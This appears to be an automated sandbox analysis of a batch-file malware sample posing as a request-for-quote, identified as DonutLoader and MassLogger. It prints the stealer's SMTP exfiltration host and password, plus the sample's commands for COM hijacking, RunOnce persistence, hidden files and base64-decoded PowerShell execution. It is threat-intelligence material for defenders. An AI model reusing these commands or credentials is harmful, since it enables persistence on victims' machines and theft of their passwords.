Analysis
- max time kernel
149s - max time network
147s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
18/04/2026, 13:10
General
- Target RFQ-NGT-E-26-7441-NJ.bat
- Size 144KB
- Sample260418-qectzaav6l
- SHA256 79582e012802adcffa4d96ba0ae9a7138f771aeeb76f858ed5af09ff94e45f94
Malware Config
Extracted
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Protocol
smtp
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Host
mail.taikei-rmc-co.biz
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Port
587
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Username
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Password
dy8tm;jRtJO[:bG:
Extracted
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masslogger
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exfiltration_mode
#SMTPEnabled
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expire_time_date
2025-12-17
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host_password
dy8tm;jRtJO[:bG:
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host_port
587
- host_receiver
- host_sender
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host_server
mail.taikei-rmc-co.biz
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ssl_slate
True
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Detects DonutLoader 1 IoCs
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Modifies registry class 6 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- outlook_office_path
- outlook_win_path
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\RFQ-NGT-E-26-7441-NJ.bat"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\RFQ-NGT-E-26-7441-NJ.bat"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\DRAWING.bat"4⤵
- Views/modifies file attributes
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C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{64689374-24B8-5E84-4F98-9BB3CD476843}" /ve /t REG_SZ /d "System Shell Extension" /f4⤵
- Modifies registry class
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C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{64689374-24B8-5E84-4F98-9BB3CD476843}\InProcServer32" /ve /t REG_SZ /d "rundll32.exe" /f4⤵
- Modifies registry class
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C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{64689374-24B8-5E84-4F98-9BB3CD476843}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f4⤵
- Modifies registry class
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C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "CONSISTENT" /t REG_SZ /d "cmd.exe /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\DRAWING.bat"" /f4⤵
- Adds Run key to start application
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -w h -ep bypass -c "$d=Get-Content 'C:\Users\Admin\AppData\Local\Temp\might.tmp' -Raw;$d=$d-replace'`r',''-replace'`n','';[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($d))|Out-File 'C:\Users\Admin\AppData\Local\Temp\Gold.ps1' -Encoding UTF8"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -nop -w h -ep bypass -f "C:\Users\Admin\AppData\Local\Temp\Gold.ps1"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ovylm42f\ovylm42f.cmdline"5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEE48.tmp" "c:\Users\Admin\AppData\Local\Temp\ovylm42f\CSCA3365ECD6D0141AABC96B9F623B46BF5.TMP"6⤵
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Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
Gold.ps1
RESEE48.tmp
__PSScriptPolicyTest_1crclrrp.0hq.ps1
might.tmp
might.tmp
ovylm42f.dll
DRAWING.bat
CSCA3365ECD6D0141AABC96B9F623B46BF5.TMP
ovylm42f.0.cs
ovylm42f.cmdline
memory/3296-82-0x00000000026A0000-0x00000000026B4000-memory.dmp
memory/3296-84-0x00000000081E0000-0x00000000081FE000-memory.dmp
memory/3296-86-0x0000000008A30000-0x0000000008A80000-memory.dmp
memory/3296-87-0x000000000B090000-0x000000000B252000-memory.dmp
memory/4460-47-0x0000026EAF030000-0x0000026EAF052000-memory.dmp
memory/4460-45-0x0000026EAEFF0000-0x0000026EAF000000-memory.dmp
memory/4460-46-0x0000026EAEFF0000-0x0000026EAF000000-memory.dmp
memory/4856-81-0x0000028DC7470000-0x0000028DC7478000-memory.dmp